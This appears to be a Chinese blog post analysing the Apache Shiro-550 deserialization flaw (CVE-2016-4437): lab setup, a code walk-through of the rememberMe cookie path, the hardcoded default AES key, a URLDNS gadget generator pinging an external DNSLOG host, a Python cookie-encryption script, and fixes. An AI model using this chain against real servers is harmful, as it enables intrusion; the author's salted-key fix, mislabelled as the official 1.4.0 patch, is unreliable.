赞
踩
Apache Shiro550反序列化(CVE-2016-4437)漏洞分析、复现及修复。
Apache Shiro是一个开源安全框架,拥有身份验证、授权、加密和会话管理的功能。
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
Apache Shiro <= 1.2.4
返回包中包含rememberMe=deleteMe字段。
1、下载shiro1.2.4
https://github.com/apache/shiro/tree/shiro-root-1.2.4
2、然后直接使用IDEA打开samples下的web项目,然后配置好Tomcat(版本Tomcat9)
3、在web中的pom.xml中添加如下的依赖
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
<scope>runtime</scope>
</dependency>
4、添加samples_web_war_exploded
5、搭建成功界面
通过BP抓包查看shiro反序列化的特征
URL:http://localhost:8081/samples_web_war_exploded/
GET /samples_web_war_exploded/account HTTP/1.1 Host: localhost:8081 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Referer: http://localhost:8081/samples_web_war_exploded/login.jsp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=391F0A60E39C9681BC0B1C4354C4C0E0; rememberMe=V//xDuY/A2UHbHyiqKowEiu28Te22N632KUq7BFOd0I4pMouWmRF09dCmONIrOGVVW6CgTM0EuhKr5Sh8qc8UtxLckJjehG7vHZQRS2ksgkxeVw1qGoOWqXTSfKLdSJJdIyhhNuJt2mNfXGZMOncMdzrO5n3Y12KLd7aTd8g22PSjIBvjzegWtNqg99EhysSVsoz/2/0j/V32AeRwgnUI6WJcad8r55EHCFqX53nHCBvx9g3R5qMH2M1RBi6++U9bei5x+CwT9q8iEDl6gfY59qrrKIrFMIyUOA9ZPdhVV0RD+GkqClXBYRwfm9HymPR0sbLTZjD8q+zys/TNlLRu3yOsoPWwxSvhs3P/aJ3Hc5yWNE6CZdG1EE3RxM/P4iTYli9iDMVsHy8toRDq3YXpfbr0sI93Rbax0sKwKnn13vE5XKvdV8XPxPtPM5ScdJRU6KovEXo18Nohmdf7QkI19q1DTAfOqoTrmOQpA+7I70QJ//0hs6KxcLfHvsnJTCp Connection: close
写在前面:
1、为了方便阅读加了一个子目录2.3.X。
2、下图为调试以后自己总结的一个方法调用图。查看顺序“从上到下,从左到右”
在IDEA中查找rememberMe
挨个查看,RememberMeManager类
定义了一些方法。AbstractRememberMeManager类
和CookieRememberMeManager类
实现
其关系是: RememberMeManager类
是AbstractRememberMeManager类
的父类;
AbstractRememberMeManager类
是CookieRememberMeManager类
的父类
public abstract class AbstractRememberMeManager implements RememberMeManager{......}
public class CookieRememberMeManager extends AbstractRememberMeManager {......}
可以得到的信息:(根据命名翻译进行推测,大概知道什么功能)
AbstractRememberMeManager类
定义了一个默认密码子节串(后面有用)
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
CookieRememberMeManager类
序列化标识函数
/*
* @param subject the Subject for which the identity is being serialized.
* @param serialized the serialized bytes to be persisted.
*/
protected void rememberSerializedIdentity(Subject subject, byte[] serialized)
获得序列化的标识的字节数组函数
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext)
rememberSerializedIdentity
方法有关于cookie的操作:
Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
从该方法入手
顺着引用可以发现onSuccessfulLogin
调用rememberIdentity
;rememberIdentity
调用了rememberSerializedIdentity
方法;
然后从rememberSerializedIdentity
方法进行调试F8进行下一步
rememberSerializedIdentity
方法在cookie保存前进行了Base64编码;
程序来到了rememberIdentity
方法,调用rememberSerializedIdentity
方法结束的地方。在rememberSerializedIdentity
方法之前有一个convertPrincipalsToBytes
方法
Ctrl查看convertPrincipalsToBytes
方法
1、将参数principals
进行序列化
2、判断是否获得加密服务
,为空的话进行加密
3、返回序列化后并加密后的字节数组
到此可以确定程序对登陆信息进行了序列化->加密->base64编码->cookie值
于是,先Ctrl查看序列化函数serialize
该方法将对象principals进行序列化后,得到字节数组并返回
打断点,逐步调试,进行查看
将一个对象序列化为字节数组。序列化过程中,创建字节输出流,并使用对象输出流将对象写入到输出流中,最后将输出流中的字节数据转换为字节数组并返回。
BufferedOutputStream
对象,会包装 ByteArrayOutputStream
,提供缓冲功能,以提高写入性能。
接着2.3.3进行查看
ctrl
进入getCipherService
函数,看下在判断什么。
可以看到返回了一个密码服务
继续ctrl查看cipherService
是什么
可见cipherService
是AbstractRememberMeManager类
定义的一个值。
继续查找cipherService
在哪赋值,查找AbstractRememberMeManager类
构造函数
this.cipherService = new AesCipherService();
名字判断是一个AES加密服务,Ctrl进入AesCipherService
继续查看,以确认AES加密
确实是AES
回到调试的2.3.3
逐步调试进入encrypt函数
进行代码审计,可以得出最重要的加密语句是
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
该方法会接受两个参数:要加密的字节数组 serialized
和加密密钥 getEncryptionCipherKey()
,并返回一个 ByteSource 对象,该对象包含了加密后的数据。
逐步调试进入 cipherService.encrypt
函数,是一个加密方法
返回查看参数getEncryptionCipherKey()
由前面的定义可以知道默认的密码字节数组
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AbstractRememberMeManager
构造函数
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService(); cipherService使用的是AES密码服务,查看AesCipherService
setCipherKey(DEFAULT_CIPHER_KEY_BYTES); 赋值密码
}
setCipherKey
函数
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
由此知构造函数会利用DEFAULT_CIPHER_KEY_BYTES
生成
构造函数通过DEFAULT_CIPHER_KEY_BYTES
生成默认密钥
到此
通过BP发送带着Cookie的请求进行逐步调试
调试后梳理的结果如下:
getRememberedPrincipals
是总的方法,分别调用了
1、getRememberedSerializedIdentity
方法
2、convertBytesToPrincipals
方法
1、getRememberedSerializedIdentity
方法,只要rememberMe
不是deleteMe
那么就会对rememberMe
进行base64解码并返回
2、convertBytesToPrincipals
方法。分为解密和反序列化
decrypt
方法用来解密AES
deserialize
方法
打断点查看deserialize
方法,是一个反序列化过程
解密完成之后就会顺利地进行反序列化了,因为rememberMe
是从Cookie
中得到的,而Cookie
又是可控的,因此在开发者没有改AES
密钥的情况下,这个反序列化点是可控的,满足反序列化漏洞的基本条件。
漏洞利用顺序
Cookie中的RememberMe -> Base64解密 -> 使用AES密钥解密(密钥存在硬编码) -> 进行反序列化
分析到这里,我们就能得到漏洞的利用方式了。我们首先构造一个恶意的序列化对象,然后用代码中固定的key对其进行AES加密,然后对其进行base64编码,将编码后的内容作为cookie发送即可。服务端收到序列化的对象,对其进行base64解码、解密后再反序列化,从而触发漏洞利用。
特征验证
首先,使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;
,看响应包header中是否返回rememberMe=deleteMe
值,若有,则证明该系统使用了Shiro框架
我用的这个平台:https://dig.pm/
URLDNS链介绍:
构造一个URLDNS代码生成一个恶意对象,并进行序列化存储
import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class Application { public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashMap = new HashMap<>(); URL url = new URL("http://8acd45fd4b.ipv6.1433.eu.org"); Field hashCodeField = Class.forName("java.net.URL").getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(url, 123); hashMap.put(url, 0); hashCodeField.set(url, -1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.bin")); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.bin")); ois.readObject(); } }
生成RemenberMe的值:对其进行用代码中的key对其进行AES加密(IV值随便取),并对加密结果进行base64编码:
import uuid import base64 from Crypto.Cipher import AES def AESencrypt(message, key,mode,iv): BS = AES.block_size # PKCS7 填充函数 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() # 初始化 AES 加密器 cipher = AES.new(key,mode,iv) # 加密消息,并进行填充 encrypted_message = cipher.encrypt(pad(message)) # 返回 IV 和 加密后的消息进行 Base64 编码后的结果 return base64.b64encode(iv+encrypted_message) def ReadFile(filename): with open(filename,"rb") as f: data=f.read() return data if __name__ == '__main__': file_name = "object.bin" data=ReadFile(file_name) keybyte = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") mode = AES.MODE_CBC iv = uuid.uuid4().bytes AESencrypted=AESencrypt(data,keybyte,mode,iv) #包含了base64 print(AESencrypted)
通过BP发送请求
DNSLOG收到请求
配置好参数运行
修复建议:
升级shiro至最新版本
个人修复措施:
1、对默认密钥通过加盐,变为动态不可知密钥;缺点:密钥固定时间更改会造成用户认证失败
密码加盐:AbstractRememberMeManager
类做如下修改
protected static String GetDate(){ Calendar calendar = Calendar.getInstance(); int year = calendar.get(Calendar.YEAR); int month = calendar.get(Calendar.MONTH) + 1; // 月份从0开始,所以需要加1 int day = calendar.get(Calendar.DAY_OF_MONTH); return String.valueOf(year)+String.valueOf(month)+String.valueOf(day); } // 读取文本文件内容并打印到控制台 public static String readFile(String filename) { try (BufferedReader reader = new BufferedReader(new FileReader(filename))) { String line; while ((line = reader.readLine()) != null) { return line; //System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } return ""; } // 将文本写入文件 public static void writeFile(String filename, String content) { try (BufferedWriter writer = new BufferedWriter(new FileWriter(filename))) { writer.write(content); } catch (IOException e) { e.printStackTrace(); } } protected static byte[] KEY_BYTES_Add_Slat(byte[] KeyByteS) { // System.out.println("123"); String date=GetDate(); String oldDate=readFile("date.txt"); // 生成随机字节序列作为额外的盐 byte[] randomBytes = new byte[16]; // 16字节的随机序列 if (!date.equals(oldDate)){ SecureRandom random = new SecureRandom(); random.setSeed(new Date().getTime()); random.nextBytes(randomBytes); writeFile("salt.txt", Arrays.toString(randomBytes)); writeFile("date.txt",date); } randomBytes=readFile("salt.txt").getBytes(); byte[] value = new byte[KeyByteS.length + randomBytes.length]; System.arraycopy(KeyByteS, 0, value, 0, KeyByteS.length); System.arraycopy(randomBytes, 0, value, KeyByteS.length, randomBytes.length); return value; }
2、对用户输入的数据进行限制和过滤
官方修复措施
官方通过一个“密钥生成器”,重新设置了密钥,避免了默认密钥造成反序列化漏洞。
1.4.0 版本
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService(); cipherService使用的是AES密码服务,查看AesCipherService
setCipherKey(KEY_BYTES_Add_Slat(DEFAULT_CIPHER_KEY_BYTES)); 赋值密码
//
}
1.9.0版本,可通过以下几个函数对比分析。
1、 public AbstractRememberMeManager() { this.serializer = new DefaultSerializer<PrincipalCollection>(); AesCipherService cipherService = new AesCipherService(); this.cipherService = cipherService; setCipherKey(cipherService.generateNewKey().getEncoded()); } 2、 public void setCipherKey(byte[] cipherKey) { //Since this method should only be used in symmetric ciphers //(where the enc and dec keys are the same), set it on both: setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); } 3、 public void setEncryptionCipherKey(byte[] encryptionCipherKey) { this.encryptionCipherKey = encryptionCipherKey; } 4、 public Key generateNewKey(int keyBitSize) { KeyGenerator kg; try { kg = KeyGenerator.getInstance(getAlgorithmName()); } catch (NoSuchAlgorithmException e) { String msg = "Unable to acquire " + getAlgorithmName() + " algorithm. This is required to function."; throw new IllegalStateException(msg, e); } kg.init(keyBitSize); return kg.generateKey(); } /** * Initializes this key generator. * * @param random the source of randomness for this generator */ 5、 public final void init(SecureRandom random) { if (serviceIterator == null) { spi.engineInit(random); return; } RuntimeException failure = null; KeyGeneratorSpi mySpi = spi; do { try { mySpi.engineInit(random); initType = I_RANDOM; initKeySize = 0; initParams = null; initRandom = random; return; } catch (RuntimeException e) { if (failure == null) { failure = e; } mySpi = nextSpi(mySpi, false); } } while (mySpi != null); throw failure; }
知识点:代码审计、Java反序列化漏洞、AES加密、URLDNS链
资源:
Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。